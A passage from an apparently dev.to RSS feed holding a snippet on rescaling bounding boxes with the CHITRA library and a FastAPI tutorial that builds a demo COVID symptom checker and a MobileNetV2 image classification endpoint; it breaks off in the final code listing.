            &lt;span class="title-flare"&gt;answer&lt;/span&gt; re: Resizing image and its bounding box
          &lt;/a&gt;
        &lt;/div&gt;
        &lt;div class="ltag__stackexchange--post-metadata"&gt;
          &lt;span&gt;Jul  4 '21&lt;/span&gt;
        &lt;/div&gt;
      &lt;/div&gt;
      &lt;a class="ltag__stackexchange--score-container" href="https://stackoverflow.com/questions/49466033/resizing-image-and-its-bounding-box/68241813#68241813" rel="noopener noreferrer"&gt;
        &lt;img src="https://assets.dev.to/assets/stackexchange-arrow-up-eff2e2849e67d156181d258e38802c0b57fa011f74164a7f97675ca3b6ab756b.svg" alt=""&gt;
        &lt;div class="ltag__stackexchange--score-number"&gt;
          5
        &lt;/div&gt;
        &lt;img src="https://assets.dev.to/assets/stackexchange-arrow-down-4349fac0dd932d284fab7e4dd9846f19a3710558efde0d2dfd05897f3eeb9aba.svg" alt=""&gt;
      &lt;/a&gt;
    
  &lt;/div&gt;
  &lt;div class="ltag__stackexchange--body"&gt;
    
&lt;p&gt;Another way of doing this is to use &lt;a href="https://github.com/aniketmaurya/chitra" rel="noreferrer noopener"&gt;CHITRA&lt;/a&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;image = Chitra(img_path, box, label)
# Chitra can rescale your bounding box automatically based on the new image size.
image.resize_image_with_bbox((224, 224))

print('rescaled bbox:', image.bounding_boxes)
plt.imshow(image.draw_boxes())
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;a href="https://chitra.readthedocs.io/en/latest/" rel="noreferrer noopener"&gt;https://chitra.readthedocs.io/en/latest/&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;pip install chitra&lt;/p&gt;
&lt;/blockquote&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;/p&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;/div&gt;
&lt;br&gt;
  &lt;div class="ltag__stackexchange--btn--container"&gt;
&lt;br&gt;
    &lt;a href="https://stackoverflow.com/questions/49466033/resizing-image-and-its-bounding-box/68241813#68241813" class="ltag__stackexchange--btn" rel="noopener noreferrer"&gt;Open Full Answer&lt;/a&gt;&lt;br&gt;
  &lt;/div&gt;
&lt;br&gt;
&lt;/div&gt;
&lt;br&gt;
&lt;br&gt;&lt;br&gt;
Resizing image and bounding box separately can be pain and irritating. CHITRA is an image utility library for Deep Learning that can rescale your bounding box automatically based on the new image size.

&lt;p&gt;📝 Docs: &lt;a href="https://chitra.readthedocs.io/en/latest/" rel="noopener noreferrer"&gt;https://chitra.readthedocs.io/en/latest/&lt;/a&gt;&lt;/p&gt;

</description>
      <category>deeplearning</category>
      <category>objectdetection</category>
      <category>python</category>
      <category>visualization</category>
    </item>
    <item>
      <title>Building Machine Learning API with FastAPI</title>
      <dc:creator>Aniket Maurya</dc:creator>
      <pubDate>Sat, 22 Aug 2020 05:53:58 +0000</pubDate>
      <link>https://dev.to/aniketmaurya/building-machine-learning-api-with-fastapi-2ecl</link>
      <guid>https://dev.to/aniketmaurya/building-machine-learning-api-with-fastapi-2ecl</guid>
      <description>&lt;p&gt;FastAPI is a high-performance asynchronous framework for building APIs in Python.&lt;br&gt;
It provides support for Swagger UI out of the box.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Source code for this blog is available &lt;a href="https://github.com/aniketmaurya/tensorflow-web-app-starter-pack" rel="noopener noreferrer"&gt;aniketmaurya/tensorflow-fastapi-starter-pack&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1&gt;
  
  
  Lets start with a simple hello-world example
&lt;/h1&gt;

&lt;p&gt;First, we import &lt;code&gt;FastAPI&lt;/code&gt; class and create an object &lt;code&gt;app&lt;/code&gt;. This class has useful &lt;a href="https://github.com/tiangolo/fastapi/blob/a6897963d5ff2c836313c3b69fc6062051c07a63/fastapi/applications.py#L30" rel="noopener noreferrer"&gt;parameters&lt;/a&gt; like we can pass the title and description for Swagger UI.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;fastapi&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;FastAPI&lt;/span&gt;
&lt;span class="n"&gt;app&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;FastAPI&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;title&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Hello world&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;description&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;This is a hello world example&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;version&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;0.0.1&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We define a function and decorate it with &lt;code&gt;@app.get&lt;/code&gt;. This means that our API &lt;code&gt;/index&lt;/code&gt; supports the GET method. The function defined here is &lt;strong&gt;async&lt;/strong&gt;, FastAPI automatically takes care of async and without async methods by creating a thread pool for the normal def functions and it uses an async event loop for async functions.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="nd"&gt;@app.get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;/index&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;hello_world&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;hello world&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h1&gt;
  
  
  Pydantic support
&lt;/h1&gt;

&lt;p&gt;One of my favorite features offered by FastAPI is Pydantic support. We can define Pydantic models and request-response will be handled by FastAPI for these models.&lt;br&gt;
Let's create a COVID-19 symptom checker API to understand this.&lt;/p&gt;
&lt;h2&gt;
  
  
  Covid-19 symptom checker API
&lt;/h2&gt;

&lt;p&gt;We create a request body, it is the format in which the client should send the request. It will be used by Swagger UI.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;pydantic&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;BaseModel&lt;/span&gt;

&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Symptom&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;BaseModel&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;fever&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;bool&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;False&lt;/span&gt;
    &lt;span class="n"&gt;dry_cough&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;bool&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;False&lt;/span&gt;
    &lt;span class="n"&gt;tiredness&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;bool&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;False&lt;/span&gt;
    &lt;span class="n"&gt;breathing_problem&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;bool&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;False&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Let's create a function to assign a risk level based on the inputs.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;This is just for learning and should not be used in real life, better consult a doctor.&lt;br&gt;
&lt;/p&gt;
&lt;/blockquote&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get_risk_level&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;symptom&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Symptom&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;symptom&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;fever&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="n"&gt;symptom&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;dry_cough&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="n"&gt;symptom&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;tiredness&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="n"&gt;symptom&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;breathing_problem&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Low risk level. THIS IS A DEMO APP&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;symptom&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;breathing_problem&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="n"&gt;symptom&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;dry_cough&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;symptom&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;fever&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;moderate risk level. THIS IS A DEMO APP&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;symptom&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;breathing_problem&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;High-risk level. THIS IS A DEMO APP&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;THIS IS A DEMO APP&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Let's create the API for checking the symptoms&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="nd"&gt;@app.post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;/api/covid-symptom-check&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;check_risk&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;symptom&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Symptom&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;get_risk_level&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;symptom&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h1&gt;
  
  
  Image recognition API
&lt;/h1&gt;

&lt;p&gt;We will create an API to classify images, we name it &lt;code&gt;predict/image&lt;/code&gt;.&lt;br&gt;
We will use Tensorflow for creating the image classification model.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Tutorial for &lt;a href="https://aniketmaurya.ml/blog/tensorflow/deep%20learning/2019/05/12/image-classification-with-tf2.html" rel="noopener noreferrer"&gt;Image Classification with Tensorflow&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;We create a function &lt;code&gt;load_model&lt;/code&gt;, which will return a MobileNet CNN Model with pre-trained weights i.e. it is already trained to classify 1000 unique categories of images.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;tensorflow&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;tf&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;load_model&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="n"&gt;model&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;tf&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;keras&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;applications&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;MobileNetV2&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;weights&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;imagenet&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Model loaded&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;model&lt;/span&gt;

&lt;span class="n"&gt;model&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;load_model&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We define a &lt;code&gt;predict&lt;/code&gt; function that will accept an image and returns the predictions.&lt;br&gt;
We resize the image to 224x224 and normalize the pixel values to be in &lt;strong&gt;[-1, 1]&lt;/strong&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;tensorflow.keras.applications.imagenet_utils&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;decode_predictions&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;decode_predictions&lt;/code&gt; is used to decode the class name of the predicted object. &lt;br&gt;
Here we will return the top-2 probable class.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;predict&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;image&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Image&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Image&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;

    &lt;span class="n"&gt;image&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;np&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;asarray&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;image&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;resize&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="mi"&gt;224&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;224&lt;/span&gt;&lt;span class="p"&gt;)))[...,&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="n"&gt;image&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;np&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;expand_dims&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;image&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;image&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;image&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mf"&gt;127.5&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mf"&gt;1.0&lt;/span&gt;

    &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;decode_predictions&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;model&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;predict&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;image&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

    &lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;res&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;enumerate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;resp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;
        &lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;class&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;res&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
        &lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;confidence&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;res&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;0.2&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; %&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

        &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now we will create an API &lt;code&gt;/predict/image&lt;/code&gt; which supports file upload. We will filter the file extension to support only jpg, jpeg, and png format of images.&lt;/p&gt;

&lt;p&gt;We will use Pillow to load the uploaded image.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;read_imagefile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;file&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;Image&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Image&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;image&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Image&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;BytesIO&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;file&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;image&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="nd"&gt;@app.post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/predict/image&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;predict_api&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;file&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;UploadFile&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;File&lt;/span&gt;&lt;span class="p"&gt;(...)):&lt;/span&gt;
    &lt;span class="n"&gt;extension&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;file&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;.&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;jpg&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;jpeg&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;png&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;extension&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Image must be jpg or png format!&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="n"&gt;image&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;read_imagefile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nb"&gt;file&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;read&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
    &lt;span class="n"&gt;prediction&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;predict&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;image&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;prediction&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h1&gt;
  
  
  Final code
&lt;/h1&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;uvicorn&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;fastapi&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;FastAPI&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;File&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;UploadFile&lt;/span&gt;

&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;application.components&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;predict&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;read_imagefile&lt;/span&gt;

&lt;span class="n"&gt;app&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;FastAPI&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="nd"&gt;@app.post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/predict/image&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
